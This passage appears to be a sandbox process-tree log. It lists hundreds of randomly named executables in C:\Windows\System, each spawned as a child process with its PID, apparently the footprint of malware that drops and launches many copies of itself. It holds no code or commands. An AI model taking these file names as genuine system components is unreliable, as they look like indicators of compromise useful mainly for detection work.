- C:\Windows\System\rkawYLu.exe
  C:\Windows\System\rkawYLu.exe
  2⤵
  PID:8564
- C:\Windows\System\FEurCGQ.exe
  C:\Windows\System\FEurCGQ.exe
  2⤵
  PID:8588
- C:\Windows\System\SEitruJ.exe
  C:\Windows\System\SEitruJ.exe
  2⤵
  PID:8608
- C:\Windows\System\nYJtINn.exe
  C:\Windows\System\nYJtINn.exe
  2⤵
  PID:8644
- C:\Windows\System\xfwgVAI.exe
  C:\Windows\System\xfwgVAI.exe
  2⤵
  PID:8684
- C:\Windows\System\hZgbpON.exe
  C:\Windows\System\hZgbpON.exe
  2⤵
  PID:8716
- C:\Windows\System\CIMKOzG.exe
  C:\Windows\System\CIMKOzG.exe
  2⤵
  PID:8748
- C:\Windows\System\fXcwGkG.exe
  C:\Windows\System\fXcwGkG.exe
  2⤵
  PID:8764
- C:\Windows\System\cqmzPaf.exe
  C:\Windows\System\cqmzPaf.exe
  2⤵
  PID:8804
- C:\Windows\System\YCsNbmc.exe
  C:\Windows\System\YCsNbmc.exe
  2⤵
  PID:8832
- C:\Windows\System\OritCoC.exe
  C:\Windows\System\OritCoC.exe
  2⤵
  PID:8860
- C:\Windows\System\JDkOzkP.exe
  C:\Windows\System\JDkOzkP.exe
  2⤵
  PID:8880
- C:\Windows\System\ylSMCgl.exe
  C:\Windows\System\ylSMCgl.exe
  2⤵
  PID:8904
- C:\Windows\System\zeqjrNo.exe
  C:\Windows\System\zeqjrNo.exe
  2⤵
  PID:8944
- C:\Windows\System\vQWprDf.exe
  C:\Windows\System\vQWprDf.exe
  2⤵
  PID:8976
- C:\Windows\System\oYOGhPZ.exe
  C:\Windows\System\oYOGhPZ.exe
  2⤵
  PID:9032
- C:\Windows\System\zJPgcjX.exe
  C:\Windows\System\zJPgcjX.exe
  2⤵
  PID:9076
- C:\Windows\System\JHzLGkv.exe
  C:\Windows\System\JHzLGkv.exe
  2⤵
  PID:9104
- C:\Windows\System\slNjnac.exe
  C:\Windows\System\slNjnac.exe
  2⤵
  PID:9132
- C:\Windows\System\kqtBDqU.exe
  C:\Windows\System\kqtBDqU.exe
  2⤵
  PID:9160
- C:\Windows\System\GSjAiAI.exe
  C:\Windows\System\GSjAiAI.exe
  2⤵
  PID:9188
- C:\Windows\System\JUxsuEc.exe
  C:\Windows\System\JUxsuEc.exe
  2⤵
  PID:9208
- C:\Windows\System\HXuOdEM.exe
  C:\Windows\System\HXuOdEM.exe
  2⤵
  PID:8280
- C:\Windows\System\NVuUsOx.exe
  C:\Windows\System\NVuUsOx.exe
  2⤵
  PID:8340
- C:\Windows\System\LpEYcXd.exe
  C:\Windows\System\LpEYcXd.exe
  2⤵
  PID:8412
- C:\Windows\System\SyIoNED.exe
  C:\Windows\System\SyIoNED.exe
  2⤵
  PID:8480
- C:\Windows\System\tIQhaCA.exe
  C:\Windows\System\tIQhaCA.exe
  2⤵
  PID:8560
- C:\Windows\System\wiwBFNN.exe
  C:\Windows\System\wiwBFNN.exe
  2⤵
  PID:8604
- C:\Windows\System\QAtjZZx.exe
  C:\Windows\System\QAtjZZx.exe
  2⤵
  PID:8700
- C:\Windows\System\JyiddyE.exe
  C:\Windows\System\JyiddyE.exe
  2⤵
  PID:8760
- C:\Windows\System\HNnYlCF.exe
  C:\Windows\System\HNnYlCF.exe
  2⤵
  PID:8844
- C:\Windows\System\ZMFdpfW.exe
  C:\Windows\System\ZMFdpfW.exe
  2⤵
  PID:8896
- C:\Windows\System\EGJaCSH.exe
  C:\Windows\System\EGJaCSH.exe
  2⤵
  PID:8968
- C:\Windows\System\jjtCJQP.exe
  C:\Windows\System\jjtCJQP.exe
  2⤵
  PID:9060
- C:\Windows\System\MwDKxvi.exe
  C:\Windows\System\MwDKxvi.exe
  2⤵
  PID:9128
- C:\Windows\System\aYuEjWu.exe
  C:\Windows\System\aYuEjWu.exe
  2⤵
  PID:9196
- C:\Windows\System\JTafvCt.exe
  C:\Windows\System\JTafvCt.exe
  2⤵
  PID:8308
- C:\Windows\System\CRueijI.exe
  C:\Windows\System\CRueijI.exe
  2⤵
  PID:8472
- C:\Windows\System\ksKeQOa.exe
  C:\Windows\System\ksKeQOa.exe
  2⤵
  PID:8692
- C:\Windows\System\ZHxKXGF.exe
  C:\Windows\System\ZHxKXGF.exe
  2⤵
  PID:8820
- C:\Windows\System\bzYhjSR.exe
  C:\Windows\System\bzYhjSR.exe
  2⤵
  PID:8236
- C:\Windows\System\rxTsVuu.exe
  C:\Windows\System\rxTsVuu.exe
  2⤵
  PID:8196
- C:\Windows\System\aqhSJYO.exe
  C:\Windows\System\aqhSJYO.exe
  2⤵
  PID:8632
- C:\Windows\System\QfHHZeh.exe
  C:\Windows\System\QfHHZeh.exe
  2⤵
  PID:8740
- C:\Windows\System\VpNyxZa.exe
  C:\Windows\System\VpNyxZa.exe
  2⤵
  PID:8868
- C:\Windows\System\tZztpJn.exe
  C:\Windows\System\tZztpJn.exe
  2⤵
  PID:9248
- C:\Windows\System\WdBPKYM.exe
  C:\Windows\System\WdBPKYM.exe
  2⤵
  PID:9280
- C:\Windows\System\iisizyJ.exe
  C:\Windows\System\iisizyJ.exe
  2⤵
  PID:9308
- C:\Windows\System\DaFnTNy.exe
  C:\Windows\System\DaFnTNy.exe
  2⤵
  PID:9340
- C:\Windows\System\ObWAkkb.exe
  C:\Windows\System\ObWAkkb.exe
  2⤵
  PID:9372
- C:\Windows\System\ECkjnWD.exe
  C:\Windows\System\ECkjnWD.exe
  2⤵
  PID:9400
- C:\Windows\System\ILopmNL.exe
  C:\Windows\System\ILopmNL.exe
  2⤵
  PID:9428
- C:\Windows\System\cXWDFUw.exe
  C:\Windows\System\cXWDFUw.exe
  2⤵
  PID:9456
- C:\Windows\System\bjOHEGD.exe
  C:\Windows\System\bjOHEGD.exe
  2⤵
  PID:9484
- C:\Windows\System\tXFIGqa.exe
  C:\Windows\System\tXFIGqa.exe
  2⤵
  PID:9512
- C:\Windows\System\Qwpsctl.exe
  C:\Windows\System\Qwpsctl.exe
  2⤵
  PID:9540
- C:\Windows\System\edzVvQx.exe
  C:\Windows\System\edzVvQx.exe
  2⤵
  PID:9588
- C:\Windows\System\prfgHRm.exe
  C:\Windows\System\prfgHRm.exe
  2⤵
  PID:9612
- C:\Windows\System\chTbnzv.exe
  C:\Windows\System\chTbnzv.exe
  2⤵
  PID:9648
- C:\Windows\System\wMRhQuq.exe
  C:\Windows\System\wMRhQuq.exe
  2⤵
  PID:9688
- C:\Windows\System\VyQwsOj.exe
  C:\Windows\System\VyQwsOj.exe
  2⤵
  PID:9716
- C:\Windows\System\sdhuKtx.exe
  C:\Windows\System\sdhuKtx.exe
  2⤵
  PID:9744
- C:\Windows\System\PiQwciK.exe
  C:\Windows\System\PiQwciK.exe
  2⤵
  PID:9772
- C:\Windows\System\pVETcDU.exe
  C:\Windows\System\pVETcDU.exe
  2⤵
  PID:9800
- C:\Windows\System\XgLHcDA.exe
  C:\Windows\System\XgLHcDA.exe
  2⤵
  PID:9832
- C:\Windows\System\lXsXHfJ.exe
  C:\Windows\System\lXsXHfJ.exe
  2⤵
  PID:9860
- C:\Windows\System\hYNhyGm.exe
  C:\Windows\System\hYNhyGm.exe
  2⤵
  PID:9888
- C:\Windows\System\uhfpxfc.exe
  C:\Windows\System\uhfpxfc.exe
  2⤵
  PID:9920
- C:\Windows\System\mCQXJKR.exe
  C:\Windows\System\mCQXJKR.exe
  2⤵
  PID:9952
- C:\Windows\System\XJLphrT.exe
  C:\Windows\System\XJLphrT.exe
  2⤵
  PID:9984
- C:\Windows\System\sQFwjDp.exe
  C:\Windows\System\sQFwjDp.exe
  2⤵
  PID:10012
- C:\Windows\System\kkzzOll.exe
  C:\Windows\System\kkzzOll.exe
  2⤵
  PID:10040
- C:\Windows\System\CaNyFhs.exe
  C:\Windows\System\CaNyFhs.exe
  2⤵
  PID:10068
- C:\Windows\System\bCbucqK.exe
  C:\Windows\System\bCbucqK.exe
  2⤵
  PID:10096
- C:\Windows\System\qNMMFsm.exe
  C:\Windows\System\qNMMFsm.exe
  2⤵
  PID:10136
- C:\Windows\System\jtxVjfg.exe
  C:\Windows\System\jtxVjfg.exe
  2⤵
  PID:10164
- C:\Windows\System\gRIlWiZ.exe
  C:\Windows\System\gRIlWiZ.exe
  2⤵
  PID:10192
- C:\Windows\System\pdczzKr.exe
  C:\Windows\System\pdczzKr.exe
  2⤵
  PID:10208
- C:\Windows\System\CBbPRir.exe
  C:\Windows\System\CBbPRir.exe
  2⤵
  PID:10228
- C:\Windows\System\rovAGCo.exe
  C:\Windows\System\rovAGCo.exe
  2⤵
  PID:9228
- C:\Windows\System\uXSytxJ.exe
  C:\Windows\System\uXSytxJ.exe
  2⤵
  PID:9332
- C:\Windows\System\mRGKgEK.exe
  C:\Windows\System\mRGKgEK.exe
  2⤵
  PID:9424
- C:\Windows\System\upmgUJh.exe
  C:\Windows\System\upmgUJh.exe
  2⤵
  PID:9504
- C:\Windows\System\fKFADcW.exe
  C:\Windows\System\fKFADcW.exe
  2⤵
  PID:9576
- C:\Windows\System\ylfMzmc.exe
  C:\Windows\System\ylfMzmc.exe
  2⤵
  PID:8924
- C:\Windows\System\EIXsWJR.exe
  C:\Windows\System\EIXsWJR.exe
  2⤵
  PID:9708
- C:\Windows\System\LXnWSsk.exe
  C:\Windows\System\LXnWSsk.exe
  2⤵
  PID:9768
- C:\Windows\System\lmJsZIb.exe
  C:\Windows\System\lmJsZIb.exe
  2⤵
  PID:9852
- C:\Windows\System\apVnoFz.exe
  C:\Windows\System\apVnoFz.exe
  2⤵
  PID:9944
- C:\Windows\System\gRAKjwt.exe
  C:\Windows\System\gRAKjwt.exe
  2⤵
  PID:10008
- C:\Windows\System\XphEqin.exe
  C:\Windows\System\XphEqin.exe
  2⤵
  PID:10088
- C:\Windows\System\CzGcHyy.exe
  C:\Windows\System\CzGcHyy.exe
  2⤵
  PID:10188
- C:\Windows\System\LAGRvUi.exe
  C:\Windows\System\LAGRvUi.exe
  2⤵
  PID:9272
- C:\Windows\System\puBPRFi.exe
  C:\Windows\System\puBPRFi.exe
  2⤵
  PID:9396
- C:\Windows\System\WtnjVZS.exe
  C:\Windows\System\WtnjVZS.exe
  2⤵
  PID:9552
- C:\Windows\System\OvOjqhU.exe
  C:\Windows\System\OvOjqhU.exe
  2⤵
  PID:3324
- C:\Windows\System\cETKXBo.exe
  C:\Windows\System\cETKXBo.exe
  2⤵
  PID:9828
- C:\Windows\System\UVdbVhn.exe
  C:\Windows\System\UVdbVhn.exe
  2⤵
  PID:9996
- C:\Windows\System\HVyexFk.exe
  C:\Windows\System\HVyexFk.exe
  2⤵
  PID:10128
- C:\Windows\System\DNXHkJj.exe
  C:\Windows\System\DNXHkJj.exe
  2⤵
  PID:9820
- C:\Windows\System\VHCysfz.exe
  C:\Windows\System\VHCysfz.exe
  2⤵
  PID:9476
- C:\Windows\System\QYyxsio.exe
  C:\Windows\System\QYyxsio.exe
  2⤵
  PID:9496
- C:\Windows\System\iedxHxj.exe
  C:\Windows\System\iedxHxj.exe
  2⤵
  PID:9756
- C:\Windows\System\CajRomu.exe
  C:\Windows\System\CajRomu.exe
  2⤵
  PID:9672
- C:\Windows\System\McSmQSH.exe
  C:\Windows\System\McSmQSH.exe
  2⤵
  PID:9236
- C:\Windows\System\BOeUKtB.exe
  C:\Windows\System\BOeUKtB.exe
  2⤵
  PID:4884
- C:\Windows\System\IIEOjwu.exe
  C:\Windows\System\IIEOjwu.exe
  2⤵
  PID:744
- C:\Windows\System\XnpAnvQ.exe
  C:\Windows\System\XnpAnvQ.exe
  2⤵
  PID:10276
- C:\Windows\System\ZQBcMnl.exe
  C:\Windows\System\ZQBcMnl.exe
  2⤵
  PID:10320
- C:\Windows\System\KlYDtES.exe
  C:\Windows\System\KlYDtES.exe
  2⤵
  PID:10356
- C:\Windows\System\TuJhHcA.exe
  C:\Windows\System\TuJhHcA.exe
  2⤵
  PID:10412
- C:\Windows\System\CuLeDBr.exe
  C:\Windows\System\CuLeDBr.exe
  2⤵
  PID:10456
- C:\Windows\System\qrViGiK.exe
  C:\Windows\System\qrViGiK.exe
  2⤵
  PID:10488
- C:\Windows\System\ZAyxJZx.exe
  C:\Windows\System\ZAyxJZx.exe
  2⤵
  PID:10520
- C:\Windows\System\yrgMdsd.exe
  C:\Windows\System\yrgMdsd.exe
  2⤵
  PID:10536
- C:\Windows\System\mrIrlsF.exe
  C:\Windows\System\mrIrlsF.exe
  2⤵
  PID:10560
- C:\Windows\System\EbTLfNV.exe
  C:\Windows\System\EbTLfNV.exe
  2⤵
  PID:10580
- C:\Windows\System\LOUASeG.exe
  C:\Windows\System\LOUASeG.exe
  2⤵
  PID:10640
- C:\Windows\System\VKrYReQ.exe
  C:\Windows\System\VKrYReQ.exe
  2⤵
  PID:10660
- C:\Windows\System\rDpzqBU.exe
  C:\Windows\System\rDpzqBU.exe
  2⤵
  PID:10696
- C:\Windows\System\zZLDKLE.exe
  C:\Windows\System\zZLDKLE.exe
  2⤵
  PID:10724
- C:\Windows\System\mgbOBUN.exe
  C:\Windows\System\mgbOBUN.exe
  2⤵
  PID:10752
- C:\Windows\System\bCejdus.exe
  C:\Windows\System\bCejdus.exe
  2⤵
  PID:10780
- C:\Windows\System\GzYNzHd.exe
  C:\Windows\System\GzYNzHd.exe
  2⤵
  PID:10808
- C:\Windows\System\FpeEWIL.exe
  C:\Windows\System\FpeEWIL.exe
  2⤵
  PID:10840
- C:\Windows\System\vemjepj.exe
  C:\Windows\System\vemjepj.exe
  2⤵
  PID:10868
- C:\Windows\System\hCDurST.exe
  C:\Windows\System\hCDurST.exe
  2⤵
  PID:10896
- C:\Windows\System\sLvjYBZ.exe
  C:\Windows\System\sLvjYBZ.exe
  2⤵
  PID:10924
- C:\Windows\System\DEbPLJH.exe
  C:\Windows\System\DEbPLJH.exe
  2⤵
  PID:10952
- C:\Windows\System\rBGSmhn.exe
  C:\Windows\System\rBGSmhn.exe
  2⤵
  PID:10980
- C:\Windows\System\QDVhDyu.exe
  C:\Windows\System\QDVhDyu.exe
  2⤵
  PID:11008
- C:\Windows\System\qGLyOYt.exe
  C:\Windows\System\qGLyOYt.exe
  2⤵
  PID:11048
- C:\Windows\System\OfQlSGT.exe
  C:\Windows\System\OfQlSGT.exe
  2⤵
  PID:11068
- C:\Windows\System\tSPZtKO.exe
  C:\Windows\System\tSPZtKO.exe
  2⤵
  PID:11096
- C:\Windows\System\PAFMDYk.exe
  C:\Windows\System\PAFMDYk.exe
  2⤵
  PID:11124
- C:\Windows\System\QdRVnkG.exe
  C:\Windows\System\QdRVnkG.exe
  2⤵
  PID:11152
- C:\Windows\System\VwJOZmB.exe
  C:\Windows\System\VwJOZmB.exe
  2⤵
  PID:11180
- C:\Windows\System\dRVPBzT.exe
  C:\Windows\System\dRVPBzT.exe
  2⤵
  PID:11208
- C:\Windows\System\RypGaoY.exe
  C:\Windows\System\RypGaoY.exe
  2⤵
  PID:11236
- C:\Windows\System\aYEzNrV.exe
  C:\Windows\System\aYEzNrV.exe
  2⤵
  PID:10244
- C:\Windows\System\ZDXUQAI.exe
  C:\Windows\System\ZDXUQAI.exe
  2⤵
  PID:10344
- C:\Windows\System\UpMRiKf.exe
  C:\Windows\System\UpMRiKf.exe
  2⤵
  PID:10444
- C:\Windows\System\SznjFPn.exe
  C:\Windows\System\SznjFPn.exe
  2⤵
  PID:10500
- C:\Windows\System\NwYGIJF.exe
  C:\Windows\System\NwYGIJF.exe
  2⤵
  PID:10596
- C:\Windows\System\SxXGqmg.exe
  C:\Windows\System\SxXGqmg.exe
  2⤵
  PID:10668
- C:\Windows\System\yiIpbZY.exe
  C:\Windows\System\yiIpbZY.exe
  2⤵
  PID:10720
- C:\Windows\System\bAmlaiw.exe
  C:\Windows\System\bAmlaiw.exe
  2⤵
  PID:10792
- C:\Windows\System\kigOCIA.exe
  C:\Windows\System\kigOCIA.exe
  2⤵
  PID:10860
- C:\Windows\System\xWkUSCu.exe
  C:\Windows\System\xWkUSCu.exe
  2⤵
  PID:10908
- C:\Windows\System\MZDNewm.exe
  C:\Windows\System\MZDNewm.exe
  2⤵
  PID:10964
- C:\Windows\System\QzuXarp.exe
  C:\Windows\System\QzuXarp.exe
  2⤵
  PID:11004
- C:\Windows\System\wmUrnCY.exe
  C:\Windows\System\wmUrnCY.exe
  2⤵
  PID:10052
- C:\Windows\System\RNUvMua.exe
  C:\Windows\System\RNUvMua.exe
  2⤵
  PID:4392
- C:\Windows\System\pwMcaRZ.exe
  C:\Windows\System\pwMcaRZ.exe
  2⤵
  PID:2716
- C:\Windows\System\gUGendD.exe
  C:\Windows\System\gUGendD.exe
  2⤵
  PID:11024
- C:\Windows\System\lIGlAtn.exe
  C:\Windows\System\lIGlAtn.exe
  2⤵
  PID:11088
- C:\Windows\System\QLSqTbl.exe
  C:\Windows\System\QLSqTbl.exe
  2⤵
  PID:11164
- C:\Windows\System\bbxvdrI.exe
  C:\Windows\System\bbxvdrI.exe
  2⤵
  PID:11220
- C:\Windows\System\TexfYen.exe
  C:\Windows\System\TexfYen.exe
  2⤵
  PID:10312
- C:\Windows\System\iRLNwnL.exe
  C:\Windows\System\iRLNwnL.exe
  2⤵
  PID:10472
- C:\Windows\System\hmbnvyQ.exe
  C:\Windows\System\hmbnvyQ.exe
  2⤵
  PID:10588
- C:\Windows\System\YOWAiHN.exe
  C:\Windows\System\YOWAiHN.exe
  2⤵
  PID:10708
- C:\Windows\System\tqWWjMI.exe
  C:\Windows\System\tqWWjMI.exe
  2⤵
  PID:10824
- C:\Windows\System\SLvnvvV.exe
  C:\Windows\System\SLvnvvV.exe
  2⤵
  PID:10944
- C:\Windows\System\lKOEJoj.exe
  C:\Windows\System\lKOEJoj.exe
  2⤵
  PID:3444
- C:\Windows\System\LjnWFRt.exe
  C:\Windows\System\LjnWFRt.exe
  2⤵
  PID:1448
- C:\Windows\System\aUtyMGc.exe
  C:\Windows\System\aUtyMGc.exe
  2⤵
  PID:11136
- C:\Windows\System\eEKfVCU.exe
  C:\Windows\System\eEKfVCU.exe
  2⤵
  PID:10556
- C:\Windows\System\JeyRAUc.exe
  C:\Windows\System\JeyRAUc.exe
  2⤵
  PID:10656
- C:\Windows\System\LGNxYEr.exe
  C:\Windows\System\LGNxYEr.exe
  2⤵
  PID:10772
- C:\Windows\System\FcnzuBn.exe
  C:\Windows\System\FcnzuBn.exe
  2⤵
  PID:10408
- C:\Windows\System\LlFKDDb.exe
  C:\Windows\System\LlFKDDb.exe
  2⤵
  PID:11272
- C:\Windows\System\EtNFIhq.exe
  C:\Windows\System\EtNFIhq.exe
  2⤵
  PID:11288
- C:\Windows\System\QVrQkxx.exe
  C:\Windows\System\QVrQkxx.exe
  2⤵
  PID:11336
- C:\Windows\System\iMgnXbk.exe
  C:\Windows\System\iMgnXbk.exe
  2⤵
  PID:11376
- C:\Windows\System\ihTqjdj.exe
  C:\Windows\System\ihTqjdj.exe
  2⤵
  PID:11416
- C:\Windows\System\vPjnBSf.exe
  C:\Windows\System\vPjnBSf.exe
  2⤵
  PID:11440
- C:\Windows\System\rHCOCWd.exe
  C:\Windows\System\rHCOCWd.exe
  2⤵
  PID:11468
- C:\Windows\System\qrBxTjt.exe
  C:\Windows\System\qrBxTjt.exe
  2⤵
  PID:11504
- C:\Windows\System\dvxcASv.exe
  C:\Windows\System\dvxcASv.exe
  2⤵
  PID:11528
- C:\Windows\System\ntMamfA.exe
  C:\Windows\System\ntMamfA.exe
  2⤵
  PID:11572
- C:\Windows\System\nOOSmtU.exe
  C:\Windows\System\nOOSmtU.exe
  2⤵
  PID:11600
- C:\Windows\System\OoHDGvT.exe
  C:\Windows\System\OoHDGvT.exe
  2⤵
  PID:11644
- C:\Windows\System\KsYeNau.exe
  C:\Windows\System\KsYeNau.exe
  2⤵
  PID:11676
- C:\Windows\System\VOdmhpK.exe
  C:\Windows\System\VOdmhpK.exe
  2⤵
  PID:11704
- C:\Windows\System\PQjXIcm.exe
  C:\Windows\System\PQjXIcm.exe
  2⤵
  PID:11736
- C:\Windows\System\pNJIgvY.exe
  C:\Windows\System\pNJIgvY.exe
  2⤵
  PID:11752
- C:\Windows\System\Wmhzptc.exe
  C:\Windows\System\Wmhzptc.exe
  2⤵
  PID:11780
- C:\Windows\System\gTREcEJ.exe
  C:\Windows\System\gTREcEJ.exe
  2⤵
  PID:11812
- C:\Windows\System\XLOmuUO.exe
  C:\Windows\System\XLOmuUO.exe
  2⤵
  PID:11848
- C:\Windows\System\QfEJOoI.exe
  C:\Windows\System\QfEJOoI.exe
  2⤵
  PID:11876
- C:\Windows\System\JRaiEkM.exe
  C:\Windows\System\JRaiEkM.exe
  2⤵
  PID:11904
- C:\Windows\System\FZAexZJ.exe
  C:\Windows\System\FZAexZJ.exe
  2⤵
  PID:11932
- C:\Windows\System\tBsApjk.exe
  C:\Windows\System\tBsApjk.exe
  2⤵
  PID:11960
- C:\Windows\System\atpFdTz.exe
  C:\Windows\System\atpFdTz.exe
  2⤵
  PID:11980
- C:\Windows\System\XomhhHq.exe
  C:\Windows\System\XomhhHq.exe
  2⤵
  PID:12016
- C:\Windows\System\yrUDlmA.exe
  C:\Windows\System\yrUDlmA.exe
  2⤵
  PID:12044
- C:\Windows\System\touLHzN.exe
  C:\Windows\System\touLHzN.exe
  2⤵
  PID:12072
- C:\Windows\System\kxiOOtn.exe
  C:\Windows\System\kxiOOtn.exe
  2⤵
  PID:12100
- C:\Windows\System\wEAzyae.exe
  C:\Windows\System\wEAzyae.exe
  2⤵
  PID:12128
- C:\Windows\System\FaUnhFn.exe
  C:\Windows\System\FaUnhFn.exe
  2⤵
  PID:12156
- C:\Windows\System\fmxzkMi.exe
  C:\Windows\System\fmxzkMi.exe
  2⤵
  PID:12196
- C:\Windows\System\DqusIiZ.exe
  C:\Windows\System\DqusIiZ.exe
  2⤵
  PID:12212
- C:\Windows\System\jQUCjTO.exe
  C:\Windows\System\jQUCjTO.exe
  2⤵
  PID:12240
- C:\Windows\System\KLJLGOU.exe
  C:\Windows\System\KLJLGOU.exe
  2⤵
  PID:12268
- C:\Windows\System\ItKUVhK.exe
  C:\Windows\System\ItKUVhK.exe
  2⤵
  PID:11116
- C:\Windows\System\LBFJobT.exe
  C:\Windows\System\LBFJobT.exe
  2⤵
  PID:11056
- C:\Windows\System\CuGHgtw.exe
  C:\Windows\System\CuGHgtw.exe
  2⤵
  PID:11360
- C:\Windows\System\HluoKVX.exe
  C:\Windows\System\HluoKVX.exe
  2⤵
  PID:11396
- C:\Windows\System\WRmkTvv.exe
  C:\Windows\System\WRmkTvv.exe
  2⤵
  PID:11496
- C:\Windows\System\chvJdTN.exe
  C:\Windows\System\chvJdTN.exe
  2⤵
  PID:11176
- C:\Windows\System\xDdNIrH.exe
  C:\Windows\System\xDdNIrH.exe
  2⤵
  PID:11628
- C:\Windows\System\EiCzRWP.exe
  C:\Windows\System\EiCzRWP.exe
  2⤵
  PID:11692
- C:\Windows\System\NzhcoTW.exe
  C:\Windows\System\NzhcoTW.exe
  2⤵
  PID:11748
- C:\Windows\System\xxnSFsi.exe
  C:\Windows\System\xxnSFsi.exe
  2⤵
  PID:10032
- C:\Windows\System\qZcRTlT.exe
  C:\Windows\System\qZcRTlT.exe
  2⤵
  PID:11792
- C:\Windows\System\NqGBeNg.exe
  C:\Windows\System\NqGBeNg.exe
  2⤵
  PID:11860
- C:\Windows\System\JBERujY.exe
  C:\Windows\System\JBERujY.exe
  2⤵
  PID:11888
- C:\Windows\System\QvcsZiy.exe
  C:\Windows\System\QvcsZiy.exe
  2⤵
  PID:11988
- C:\Windows\System\ZeEHjbQ.exe
  C:\Windows\System\ZeEHjbQ.exe
  2⤵
  PID:12056
- C:\Windows\System\UdWAkTK.exe
  C:\Windows\System\UdWAkTK.exe
  2⤵
  PID:12148
- C:\Windows\System\epMwkTv.exe
  C:\Windows\System\epMwkTv.exe
  2⤵
  PID:12204
- C:\Windows\System\onleOqd.exe
  C:\Windows\System\onleOqd.exe
  2⤵
  PID:12280
- C:\Windows\System\lWtagXV.exe
  C:\Windows\System\lWtagXV.exe
  2⤵
  PID:11300
- C:\Windows\System\oaOSzGZ.exe
  C:\Windows\System\oaOSzGZ.exe
  2⤵
  PID:11436
- C:\Windows\System\bOuMwxV.exe
  C:\Windows\System\bOuMwxV.exe
  2⤵
  PID:11660
- C:\Windows\System\mphupbL.exe
  C:\Windows\System\mphupbL.exe
  2⤵
  PID:9100
- C:\Windows\System\qlUsKke.exe
  C:\Windows\System\qlUsKke.exe
  2⤵
  PID:11892
- C:\Windows\System\YDuGwux.exe
  C:\Windows\System\YDuGwux.exe
  2⤵
  PID:12012
- C:\Windows\System\cbTEBGe.exe
  C:\Windows\System\cbTEBGe.exe
  2⤵
  PID:12084
- C:\Windows\System\vEIxFel.exe
  C:\Windows\System\vEIxFel.exe
  2⤵
  PID:6896
- C:\Windows\System\NYkoAvY.exe
  C:\Windows\System\NYkoAvY.exe
  2⤵
  PID:6704
- C:\Windows\System\UUMZrVZ.exe
  C:\Windows\System\UUMZrVZ.exe
  2⤵
  PID:12096
- C:\Windows\System\UtoRYIT.exe
  C:\Windows\System\UtoRYIT.exe
  2⤵
  PID:11316
- C:\Windows\System\ZrHXCvi.exe
  C:\Windows\System\ZrHXCvi.exe
  2⤵
  PID:8636
- C:\Windows\System\EiTGnqy.exe
  C:\Windows\System\EiTGnqy.exe
  2⤵
  PID:6908
- C:\Windows\System\OJeiJwS.exe
  C:\Windows\System\OJeiJwS.exe
  2⤵
  PID:2764
- C:\Windows\System\uRUhqFx.exe
  C:\Windows\System\uRUhqFx.exe
  2⤵
  PID:6864
- C:\Windows\System\GnhsWsk.exe
  C:\Windows\System\GnhsWsk.exe
  2⤵
  PID:2012
- C:\Windows\System\VyCZldt.exe
  C:\Windows\System\VyCZldt.exe
  2⤵
  PID:12260
- C:\Windows\System\UVfVGcD.exe
  C:\Windows\System\UVfVGcD.exe
  2⤵
  PID:6900
- C:\Windows\System\EanOlgQ.exe
  C:\Windows\System\EanOlgQ.exe
  2⤵
  PID:1860
- C:\Windows\System\OCZpfzv.exe
  C:\Windows\System\OCZpfzv.exe
  2⤵
  PID:12308
- C:\Windows\System\JBluSbK.exe
  C:\Windows\System\JBluSbK.exe
  2⤵
  PID:12336
- C:\Windows\System\cjJZKRG.exe
  C:\Windows\System\cjJZKRG.exe
  2⤵
  PID:12364
- C:\Windows\System\taxOiyT.exe
  C:\Windows\System\taxOiyT.exe
  2⤵
  PID:12396
- C:\Windows\System\lsJDDAG.exe
  C:\Windows\System\lsJDDAG.exe
  2⤵
  PID:12424
- C:\Windows\System\QsMZpHO.exe
  C:\Windows\System\QsMZpHO.exe
  2⤵
  PID:12452
- C:\Windows\System\obmffyV.exe
  C:\Windows\System\obmffyV.exe
  2⤵
  PID:12480
- C:\Windows\System\LvbQhEC.exe
  C:\Windows\System\LvbQhEC.exe
  2⤵
  PID:12508
- C:\Windows\System\TqlolDG.exe
  C:\Windows\System\TqlolDG.exe
  2⤵
  PID:12536
- C:\Windows\System\ySUOzTT.exe
  C:\Windows\System\ySUOzTT.exe
  2⤵
  PID:12564
- C:\Windows\System\akrLvIZ.exe
  C:\Windows\System\akrLvIZ.exe
  2⤵
  PID:12592
- C:\Windows\System\IVPGVOM.exe
  C:\Windows\System\IVPGVOM.exe
  2⤵
  PID:12620
- C:\Windows\System\EtjqwBt.exe
  C:\Windows\System\EtjqwBt.exe
  2⤵
  PID:12648
- C:\Windows\System\pByRCrE.exe
  C:\Windows\System\pByRCrE.exe
  2⤵
  PID:12676
- C:\Windows\System\UrQxyhw.exe
  C:\Windows\System\UrQxyhw.exe
  2⤵
  PID:12704
- C:\Windows\System\iorLiqH.exe
  C:\Windows\System\iorLiqH.exe
  2⤵
  PID:12732
- C:\Windows\System\aFIEEJj.exe
  C:\Windows\System\aFIEEJj.exe
  2⤵
  PID:12760
- C:\Windows\System\JKKFDSY.exe
  C:\Windows\System\JKKFDSY.exe
  2⤵
  PID:12788
- C:\Windows\System\QywBseb.exe
  C:\Windows\System\QywBseb.exe
  2⤵
  PID:12816
- C:\Windows\System\uuzitro.exe
  C:\Windows\System\uuzitro.exe
  2⤵
  PID:12844
- C:\Windows\System\FjuqVcu.exe
  C:\Windows\System\FjuqVcu.exe
  2⤵
  PID:12872
- C:\Windows\System\yJDAlWD.exe
  C:\Windows\System\yJDAlWD.exe
  2⤵
  PID:12900
- C:\Windows\System\aMJeMYo.exe
  C:\Windows\System\aMJeMYo.exe
  2⤵
  PID:12928
- C:\Windows\System\viIDQLv.exe
  C:\Windows\System\viIDQLv.exe
  2⤵
  PID:12956
- C:\Windows\System\xYMeWIL.exe
  C:\Windows\System\xYMeWIL.exe
  2⤵
  PID:12984
- C:\Windows\System\pUDzppz.exe
  C:\Windows\System\pUDzppz.exe
  2⤵
  PID:13012
- C:\Windows\System\uvfqKeX.exe
  C:\Windows\System\uvfqKeX.exe
  2⤵
  PID:13040
- C:\Windows\System\OWeYGeW.exe
  C:\Windows\System\OWeYGeW.exe
  2⤵
  PID:13068
- C:\Windows\System\WAggrOP.exe
  C:\Windows\System\WAggrOP.exe
  2⤵
  PID:13096
- C:\Windows\System\CjDcYGa.exe
  C:\Windows\System\CjDcYGa.exe
  2⤵
  PID:13124
- C:\Windows\System\iwbXJnZ.exe
  C:\Windows\System\iwbXJnZ.exe
  2⤵
  PID:13152
- C:\Windows\System\wKlaAZI.exe
  C:\Windows\System\wKlaAZI.exe
  2⤵
  PID:13180
- C:\Windows\System\bpsFRtQ.exe
  C:\Windows\System\bpsFRtQ.exe
  2⤵
  PID:13208
- C:\Windows\System\IYMSBNt.exe
